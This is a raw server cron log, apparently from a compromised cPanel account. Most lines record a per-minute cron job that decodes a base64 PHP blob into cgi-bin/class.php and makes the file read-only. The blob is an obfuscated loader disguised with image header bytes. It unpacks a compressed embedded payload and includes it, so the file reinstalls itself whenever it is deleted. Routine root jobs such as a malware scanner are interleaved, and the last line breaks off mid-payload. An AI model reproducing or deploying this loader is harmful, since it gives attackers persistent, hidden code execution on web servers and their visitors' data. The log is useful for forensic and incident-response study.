Apr  6 08:12:01 server CROND[778]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:13:01 server CROND[852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:14:01 server CROND[910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:15:01 server CROND[977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:15:01 server CROND[978]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:15:01 server CROND[980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:15:01 server CROND[979]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 08:16:01 server CROND[1090]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:17:01 server CROND[1236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:18:01 server CROND[1300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:19:01 server CROND[1369]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:20:01 server CROND[1452]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:20:01 server CROND[1451]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 08:20:01 server CROND[1453]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 08:20:01 server CROND[1458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:20:01 server CROND[1456]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 08:21:01 server CROND[1572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:22:01 server CROND[1724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:23:01 server CROND[1792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:24:01 server CROND[1846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 08:25:01 server CROND[1904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 08:25:01 server CROND[1907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG